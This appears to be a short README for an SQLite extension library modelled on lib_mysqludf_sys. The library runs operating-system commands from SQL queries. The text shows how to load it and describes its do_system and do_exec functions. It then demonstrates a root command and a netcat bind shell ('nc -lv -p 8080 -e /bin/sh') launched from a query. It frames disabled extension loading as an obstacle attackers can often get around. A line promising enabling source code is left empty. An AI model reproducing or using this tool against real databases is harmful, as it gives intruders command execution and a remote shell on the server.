Much like lib_mysqludf_sys, this is a UDF (run-time loadable extension in sqlite land) library used to execute system commands from SQL queries. It can be loaded through the SQLite3 interface or using a query:
sqlite> select load_extension("/tmp/lib_sql3udf_sys.sqlext");
sqlite .load /tmp/sql3_udf.sqlext
Please note that, by default, the load_extension functionality is disabled by default. Many sqlite3 databases, however, do enable it, so all is not lost. This can be enabled in source code with the following:
Two functions are exposed through this simple interface:
do_system() -- Executes a system command and returns only the status of that execution. do_exec() -- Executes a system command and returns all of the resulting output.
$ sqlite3 test.db sqlite> .load /tmp/sql3_udf.sqlext sqlite> select do_exec('whoami'); root sqlite> select do_system("nc -lv -p 8080 -e /bin/sh &>/dev/null &"); 0 sqlite>